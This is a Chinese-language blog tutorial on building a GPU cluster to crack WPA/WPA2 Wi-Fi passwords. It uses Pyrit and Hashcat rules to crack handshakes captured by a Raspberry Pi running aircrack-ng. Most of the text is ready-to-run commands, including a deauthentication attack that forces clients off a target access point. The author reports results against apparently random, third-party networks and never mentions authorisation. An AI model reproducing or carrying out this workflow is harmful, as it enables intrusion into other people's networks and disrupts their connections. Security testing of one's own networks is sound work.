集群密码破解系统搭建

admin 2021年9月15日09:32:23评论124 views字数 5848阅读19分29秒阅读模式

前言

本套密码破解系统的本质是通过密码字典结合密码破解软件的方式,从而调用显卡GPU的运算能力生成密码字典里密码的哈希值,与目标密码哈希值进行碰撞,最终经过未知次数的碰撞,暴力破解得到原密码。

由于目前软件环境的限制,集群密码破解只能用于破解 WPA/WPA2 WIFI 密码(WIFI AP名称ESSID只能含有英文和数字),其它类型密码只能进行分布式破解。也许在不远的将来,随着软件的更新,将会支持更多类型的密码集群破解。

系统硬件

两台相同配置的主机组成最小的集群系统,主机的配置如下

CPU:i3-4170 内存:8GB 硬盘:1TB 显卡:HD7970

整套系统主要是调用显卡GPU的运算能力,对CPU要求不高,故选择i3作为CPU。考虑到运算时可能会占用较大内存作为哈希值的存储和交换,故选择8GB以上。硬盘除了安装系统外,主要用于存放密码字典。因为通常较大的密码字典都是数十GB级别,所以硬盘选择目前市场普遍使用的1TB以上。

系统软件

首先需要一个安装好的 Linux 系统,安装教程请自行在网上查找。

这里以 Debian 8.1 Server 64位 为例,讲述整套集群密码破解系统的搭建。

系统安装之后,需要安装显卡驱动。这里使用 AMD 开源显卡驱动 fglrx ,因为开源显卡驱动相对于闭源显卡驱动安装步骤更为简单,只需依次执行以下命令

root@debian1:~# apt-get install build-essential -y
root@debian1:~# apt-get install linux-headers-$(uname -r) -y
root@debian1:~# apt-get install fglrx-atieventsd fglrx-driver fglrx-modules-dkms glx-alternative-fglrx -y
root@debian1:~# apt-get install amd-opencl-icd opencl-headers -y
root@debian1:~# aticonfig --initial -y

然后重启主机即可完成安装。

接下来,我们需要下载开源集群 WPA/WPA2 WIFI 密码破解软件 Pyrit

root@debian1:~# apt-get install git -y
root@debian1:~# git clone https://github.com/JPaulMora/Pyrit.git

然后执行下面的命令安装 Pyrit

root@debian1:~# apt-get install python-dev -y
root@debian1:~# apt-get install libssl-dev -y
root@debian1:~# apt-get install zlib1g-devel -y
root@debian1:~# cd Pyrit/
root@debian1:~/Pyrit# pip install psycopg2
root@debian1:~/Pyrit# pip install scapy
root@debian1:~/Pyrit# python setup.py clean
root@debian1:~/Pyrit# python setup.py build
root@debian1:~/Pyrit# python setup.py install
root@debian1:~/Pyrit# cd modules/cpyrit_opencl/
root@debian1:~/Pyrit/modules/cpyrit_opencl# python setup.py build
root@debian1:~/Pyrit/modules/cpyrit_opencl# python setup.py install

安装后,输入 pyrit 后按回车,你应该能够看到类似下面的信息

root@debian1:~/Pyrit/modules/cpyrit_opencl# pyrit
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

对所有集群从机进行以上同样的操作。

接下来,我们需要对集群主机和从机的Pyrit进行配置

root@debian1:~/Pyrit/modules/cpyrit_opencl# mkdir ~/.pyrit
root@debian1:~/Pyrit/modules/cpyrit_opencl# cd ~/.pyrit
root@debian1:~/.pyrit# nano config

复制粘贴以下内容

集群主机配置如下:

default_storage = file://
limit_ncpus = 1
rpc_announce = true
rpc_announce_broadcast = false
rpc_knownclients = 192.168.1.124
rpc_server = true
use_CUDA = false
use_OpenCL = true
workunit_size = 75000

集群从机配置如下:

default_storage = file://
limit_ncpus = 1
rpc_announce = true
rpc_announce_broadcast = false
rpc_knownclients =
rpc_server = false
use_CUDA = false
use_OpenCL = true
workunit_size = 75000

其中 rpc_knownclients 为集群从机的IP地址,用空格分隔,集群主机需要填写,集群从机留空即可。 rpc_server 为是否服务器,集群主机为 true ,集群从机为 false 。

按 Ctrl-O 和 Enter 保存文件,按 Ctrl-X 关闭文件

配置完后,输入 pyrit list_cores 后按回车,你应该能够看到 OpenCL GPUs 下有可用 GPUs

root@debian1:~/.pyrit# pyrit list_cores
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

The following cores seem available...
#1:  'CPU-Core (SSE2/AES)'

The following OpenCL GPUs seem aviable...
#1:  'OpenCL-Device 'Tahiti''

当然,密码破解还需要 WPA/WPA2 的 handshake 握手包(WIFI AP名称ESSID只能含有英文和数字)和密码字典。握手包的抓取后面会讲到。

密码字典可以到 http://weakpass.com/ 下载,下载后把gz压缩文件解压。握手包和密码字典只需放在集群主机上,集群从机上无需放置。

接下来,在所有集群从机上执行以下命令

root@debian2: ~/.pyrit# pyrit serve

在集群主机上执行以下命令即可开始破解

root@debian1: ~/.pyrit# pyrit -i ~/dict1.txt -r ~/hs1.cap attack_passthrough

其中 -i 为密码字典文件的文件路径, -r 为握手包文件的文件路径。

规则破解

由于密码字典只有固定的词语,破解成功率可能会不高。如果使用规则结合字典的方式,字典里的词语可以衍生出许多种变化形式,对提高破解成功率起到一定的作用。

这里需要到 https://hashcat.net/hashcat/ 下载 Hashcat ,一款开源单机支持多种类型密码破解软件。我们只需要用到它的规则字典生成功能。同样,只需在集群主机上下载即可。

把下载的7z压缩文件解压到 /root 目录

规则文件可以到网上下载,也可以直接使用 Hashcat 自带的规则文件。

在集群主机上执行以下命令即可开始规则破解

root@debian1: ~/.pyrit# ~/hashcat-*/hashcat64.bin -r ~/rule1.txt ~/dict1.txt --stdout | pyrit -i - -r ~/hs1.cap attack_passthrough

其中前一个 -r 为规则文件的文件路径,紧接后面的为密码字典文件的文件路径,后一个 -r 为握手包文件的文件路径。

握手包抓取

为了更加方便地抓取握手包,我们使用 树莓派 + 3G上网卡 + usb无线网卡 + 移动电源 搭建了一套移动便携式握手包抓取系统。

我们需要在树莓派上安装aircrack-ng套件进行抓包,依次执行以下命令安装依赖软件包

pi@raspberrypi:~ $ sudo apt-get install libssl-dev libgcrypt20 -y
pi@raspberrypi:~ $ sudo apt-get install build-essential -y
pi@raspberrypi:~ $ sudo apt-get install ethtool rfkill -y
pi@raspberrypi:~ $ sudo apt-get install libnl-3-dev libnl-genl-3-dev -y

接下来需要到 http://download.aircrack-ng.org/ 下载 aircrack-ng 套件的源代码进行编译,将下载的 tar.gz 压缩文件放置到 /home/pi 目录,然后执行以下命令进行安装。

pi@raspberrypi:~ $ tar -xzf aircrack-ng-*.tar.gz
pi@raspberrypi:~ $ cd aircrack-ng-*
pi@raspberrypi:~/aircrack-ng-* $ sudo make
pi@raspberrypi:~/aircrack-ng-* $ sudo make install
pi@raspberrypi:~/aircrack-ng-* $ cd ~

安装后执行 sudo airmon-ng 命令,你应该能够看到类似下面的信息

PHY     Interface       Driver          Chipset
phy1    wlan0           ??????          Broadcom 43430
phy0    wlan1           rtl8187         Realtek Semiconductor Corp. RTL8187

其中 wlan1 是 usb 无线网卡的接口名。

接下来执行 sudo airmon-ng start wlan1 命令,将无线网卡切换至监听模式。你应该能够看到类似下面的信息,其中 wlan1mon 是无线网卡监听后的监听接口名

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
  PID Name
 2051 wpa_supplicant
PHY     Interface       Driver          Chipset
phy1    wlan0           ??????          Broadcom 43430
phy0    wlan1           rtl8187         Realtek Semiconductor Corp. RTL8187
                (mac80211 monitor mode vif enabled for [phy0]wlan1 on [phy0]wlan1mon)
                (mac80211 station mode vif disabled for [phy0]wlan1)

然后执行 sudo airodump-ng wlan1mon 命令,对周边的无线AP进行扫描。你应该能够看到类似下图的信息,其中 wlan1mon 为监听接口名

上面是AP,下面是与AP连接的客户端。我们选定想要抓取握手包的AP,记下它的 BSSID 和 CH 。

然后执行 sudo airodump-ng --bssid BC:46:99:03:FC:D8 --channel 1 -w ~/hs1.cap wlan1mon 命令,监听指定AP。其中 --bssid 为AP的 BSSID , --channel 为AP的 CH ,-w为抓包文件的文件保存路径, wlan1mon 为监听接口名。你应该能够看到类似下图的信息

一般情况下,经过漫长的等待,抓手包就能够自动抓到。为了能够马上得到握手包,我们需要进行下面的操作。

选定任一与AP连接的客户端,记下它的 STATION

另外打开一个新的命令行窗口,执行 sudo aireplay-ng -a BC:46:99:03:FC:D8 -e A4:71:74:42:17:8D --deauth 1 wlan1mon 命令,指定客户端强制掉线。其中 -a 为AP的BSSID, -e 为客户端的STATION, --deauth 为掉线次数, wlan1mon 为监听接口名。此时,你可以看到,前一个命令行窗口有类似下图的信息

右上角出现 WPA handshake 提示。这时可以按 Ctrl-C 停止抓包,握手包成功抓取。

测试结果

随机抓取两个握手包,使用字典结合规则的破解方式,使用两个字典进行两次集群密码破解。

第一个握手包

AP名称为:613

使用字典1进行破解,6秒后,密码就被破解出来了。

使用字典2进行破解,5分钟左右,密码也被破解出来了。

第二个握手包

AP名称为:HUIGE

使用字典1进行破解,破解了将近 1个月 ,密码没有被破解出来。

使用字典2进行破解,破解了将近 7个小时 ,密码没有被破解出来。

总结

集群密码破解的成功率与密码的复杂程度有关,越复杂的密码越不容易被破解。因此平时个人密码设置时,应避免密码设置过于简单。

选用好的字典和规则,可以提高密码破解的成功率。但是对于能否成功破解密码,还需要一定的运气。

机器运算能力越高,密码破解的时间成本越低。密码破解所需的总成本,与机器硬件的性能功耗比有很大关系。

集群式与分布式密码破解系统各有优缺点,对于实际应用,应充分考虑它们的实用性。

Source: impakho.com | Author:impakho

相关推荐: Windows认证

/01 Window认证机制这个看大佬的文章就完事了,小菜鸡就不充当大尾巴狼了 倾旋的大佬的博客文章 一,LM,LM Hash:LM协议机制和NTLM相同,加密算法不一样。 123456789101112131415161718将所有小写字母转换为大写字母• …

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月15日09:32:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   集群密码破解系统搭建http://cn-sec.com/archives/543573.html

发表评论

匿名网友 填写信息